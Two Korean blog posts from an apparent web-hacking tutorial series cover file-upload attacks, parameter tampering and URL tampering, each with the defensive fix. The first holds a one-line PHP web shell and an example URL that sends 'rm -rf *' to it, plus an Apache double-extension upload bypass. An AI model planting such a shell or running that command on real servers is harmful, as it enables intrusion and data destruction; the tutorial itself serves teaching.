웹 서버에서 실행될 수 있는 파일(PHP, JSP, ASP 등)을 업로드하여 원하는 코드를 실행시키는 공격 방법입니다. 웹 초창기에 굉장히 유행했던 공격 방식이였습니다. 웹 초기에는 보안에 큰 신경을 쓰지 않아서, 대부분의 게시판에 실행 가능한 파일이 업로드 되었었습니다.

[Hack.php]
passthru($cmd)

만약 PHP가 동작하는 웹 사이트에 Hack.php 파일이 없로드 된다면 http://victim.com/Hack.php?cmd="rm -rf *" 와 같은 URL에 접근하여 웹 서버 내부에 침투할 수 있게 됩니다. cmd에 넣는 모든 쉘 명령어를 웹서버가 처리하게 되는 것이죠. 최근에는 이 공격은 거의 통하지 않습니다. 워낙에 고전적인 방식이라 대부분이 PHP, JSP, ASP 등의 파일이 업로드 되는 것을 막기 때문입니다. 하지만 워낙 고전이라는 것에 헛점이 있어서 모두가 안심하고 있을 때, 몇년전에 Apache 서버의 버그로 이 공격이 일파만파 다시 시도되었었습니다. 그것은 Apache의 기능 중 접속 국가별로 다른 페이지를 보여주기 위해 .kr, .jp 와 같은 확장자를 사용하는 옵션이 있었는데, 서버사이드에서는 끝의 확장자가 .php만 막을 뿐이였고, 아파치는 .php.kr 또한 php 파일로 처리했던 것이죠. 불과 이삼년전의 일입니다. 또 이런식의 버그가 항상 도사리고 있다는 것 명심하시기 바랍니다.

다음 하편에서는 Exploiting Unchekced Input의 해킹 방법을 모두 알아보도록 하겠습니다.

오늘은 소녀시대 사진을 준비했습니다. 모두 즐거운 하루 보내시기 바랍니다.
Posted by Getroot

Leave your greetings.

Research2009/03/12 09:45
"인터넷은 웹이다."라고 할 수 있을 정도로 웹은 인터넷의 커다란 부분을 차지합니다. 실제로 비전공자에게는 "인터넷 == 웹" 으로 통하는 경우도 많습니다. 어떠한 운영체제도 기본적으로 웹 브라우져를 제공하며, 심지어 새롭게 출시되는 모바일 장치도 웹 브라우져를 지원하지 않고는 사용자들에게 어필할 수 없을 정도로 웹에대한 의존도가 매우 커졌습니다. 그래서 각종 금융서비스, 국가 전산 그리고 전자상거래등이 웹을 통해 서비스 됩니다. 별도의 클라이언트를 개발하여 서비스해도 되지만, 사용자에게 친숙한 사용 방법을 제공할 수 있으며, 웹 서비스를 이용하면 새로운 프로그램을 설치해야 하는 수고로움을 덜 수 있기 때문에 웹을 통해 서비스 하고 있는 것입니다.

그래서 지난 10년간 인터넷이 성장하는 동안, 웹 보안의 중요성이 매우 크게 증가 하였습니다. 이것은 해킹/보안 분야에서의 정설인 "서비스의 전산에대한 의존도가 커질수록 보안 위협도 비례해서 커진다"라는 공식이 적용되기 때문입니다. 실제로 지금도 수많은 웹사이트가 국경을 넘어서 수많은 해커들에게 공격받고 있습니다. 그 피해는 하나의 웹 사이트의 보안 사고가 사회 전체에 영향을 끼칠 정도로 큽니다.

웹은 일반 시스템에 비해 보안에 취약합니다. 그 이유는 웹 프로그래밍이 매우 쉽고 누구나 접근 가능한 것을 목적으로 설계되었기 때문에 일반인들도 몇일만 공부하면 그럴싸한 웹 사이트를 뚝딱 만들어낼 수 있기 때문입니다. 왜 만들기 쉬운것이 보안에 문제가 되는가? 라는 질문에 대한 답변은, "모든 해킹은 프로그래머의 실수에 그 기반을 두기 때문입니다." 라고 할 수 있겠습니다. 즉, 고도의 훈련된 전문가가 만드는 프로그램은 실수가 적기 때문에, 해킹 당할 확률이 적은 반면 그렇지 않은 사람이 만드는 프로그램에는 실수가 많아 해킹 당할 확률이 높아진다고 할 수 있는 것입니다.

그래서 웹 해킹 방법을 분류하여 설명하고, 어떤 실수가 해킹 사고로 이어지는지 그리고 어떻게 해결할 수 있는지 설명하도록 하겠습니다. 소개드리는 해킹 방법은 그 원리를 설명하기 위한 예시이지만, 지금도 벌어지고 있는 실제 해킹 사고 중 거의 대부분은, 소개시켜드리는 원리와 약간의 응용으로 작동한다는 것 꼭 명심하시기 바랍니다.

다음은 웹 해킹의 종류를 방식에 따라 나열한 것입니다. 이 웹 해킹 종류를 모두 소개해드리도록 하겠습니다. 참고로 본 문서에서 정의하는 "웹 어플리케이션"이라는 용어는 서버 사이드에서 동작하는 PHP, JSP 그리고 ASP와 같은 어플리케이션을 말합니다. 즉, 사용자와 웹 서버 사이에서 정보를 입력 받고 가공하여 출력해주는 역할을 하는 어플리케이션을 지칭하는 것 입니다.

  • Injecting Malicious Data
    • Parameter Tampering
    • URL Tampering
    • Hidden Field Manipulation
    • HTTP Header Manipulation
    • Cookie Poisoning
    • Executable File Upload
  • Exploting Unchecked Input
    • SQL Injection
    • Cross-site Scripting
    • HTTP Response Splitting
    • Path Traversal
    • Commnad Injection

1. Injecting Malicious Data

Injecting Malicious Data는 웹 어플리케이션에 조작된 데이터를 입력하여 공격하는 것입니다. 예를 들어 웹을 기반으로 경품행사를 하는데 랜덤하게 발생되는 경품 당첨 번호를 자신이 인위적으로 조작하여 입력하는 것 같은것을 말하는 것입니다. 한가지씩 살펴보며 이해를 돕도록 하겠습니다.

1.1. Parameter Tampering

Parameter Tampering 공격은 웹 어플리케이션에서 사용하는 파라메터(매개변수, Parameter)를 강제로 입력하여 어플리케이션의 의도대로 동작하지 않게 하는 공격입니다. 예를 들어 다음과 같은 코드가 있다고 가정합니다.

[HTML code]
<script> var form = document.Login;
id(!form.id.value)
{
return false;
}
</script>

[Java code]
String strID = request.getParameter("id");

위 코드의 원래 의도는 사용자가 id 에디트박스가 빈칸이 될 수 없도록 하는 것입니다. 하지만 위 코드는 HTML 파일을 PC에 따로 저장해서 저 스크립트를 빼버리는 것 만으로 의도를 빚겨나갈 수 있습니다. 이런 공격을 해결하기 위해서는 Java script에서 아이디 필드가 비었는지 체크하는 것이 아니고, 서버사이드에서도 id 파라메터가 비어있는지 체크해야 합니다.

전자 상거래 초창기에는 위와 같은 사례가 많았습니다. 예를 들어 상품을 보여주는데 상품 가격을 Read-only 속성이 있는 에디트박스에 넣고 서버사이드에서는 해당 에디트 박스에서 값을 읽어와 사용자의 포인트를 차감하면서 상품을 배송해주었던 사례도 있습니다. 이것은 에디트박스의 Read-only 속성만을 제거하면 10원으로 100,000원 짜리 물건을 살 수 있었다는 것을 의미합니다.

요즘에 이런 실수를 하는 곳은 거의 없지만, 급하게 만들어진 매우 큰 사이트에서는 아직도 저런 코드가 종종 보이기도 합니다.

1.2.  URL Tampering

URL Tampering은 URL로 중요한 데이터를 보내는 경우에 이를 조작하여 공격자가 의도하는대로 동작을 바꾸는 것 공격 방식 입니다.

[정상적인 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=1000

[공격 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=-5000

위 예제는 정상적인 URL이 실행되면 Attacker라는 ID에서 1000 포인트를 차감하여 Attacker2라는 사용자에게 1000 포인트를 전송한다고 가정합니다. 이때 Attacker가 위 URL을 -5000이라고 바꾸어 실행하면 어떻게 될까요? 분명 내부적으로는 다음과 같은 코드가 동작할 것입니다.

Attacker.Point -= DebitAmount;
Attacker2.Point += DebitAmount;

-5000이라는 입력은 위 코드에 들어가서 반대로 Attacker2에서 -5000을 빼고, 공격자 본인에게 +5000을 하게 될 것입니다. 이런 공격 방식 또한 대부분 인지하고있어서 위와 같은 문제가 발생하지 않게 하고 있습니다. 하지만 중요한것은 실수라는 것입니다. 위와 같은 공격에대해 확실한 인지 없이, 수많은 코드를 작성하다보면 한두가지 필드에서 실수를 하게 되는 경우가 있습니다. 해커는 그런 빈틈을 이용해 큰 결과를 얻어내곤 합니다.

URL Tampering을 막기 위해서는, 우선 GET 방식으로 중요한 데이터를 주고 받지 말아야 하겠고, 그 후에 서버사이드에서 넘어오는 모든 값을 일일히 체크해야 할 것입니다. 위와 같은 코드에서 DebitAmount에 마이너스 값이 들어오면 경고를 하고 코드가 동작하지 않도록 해야 겠습니다.

마이너스 값 입력 문제는, 예전에 어떤 온라인 게임상에서 송금 기능을 이용할때 같은 문제가 있었습니다. 마이너스 값 입력 문제는 특히 더욱 조심해야 할것입니다.

다음 중, 하 편에서 나머지 웹 해킹 원리를 마져 다루도록 하겠습니다.

멋진 자연 경치를 보면서 잠시 휴식을 취하시기 바랍니다. 전체 화면으로 보시면 눈과 마음이 정화되실 것입니다.
본 블로그에 있는 모든 글은 그 출처를 명시하고 수정하지 않는 범위내에서 허락 없이 사용하실 수 있습니다.

Posted by Getroot

Leave your greetings.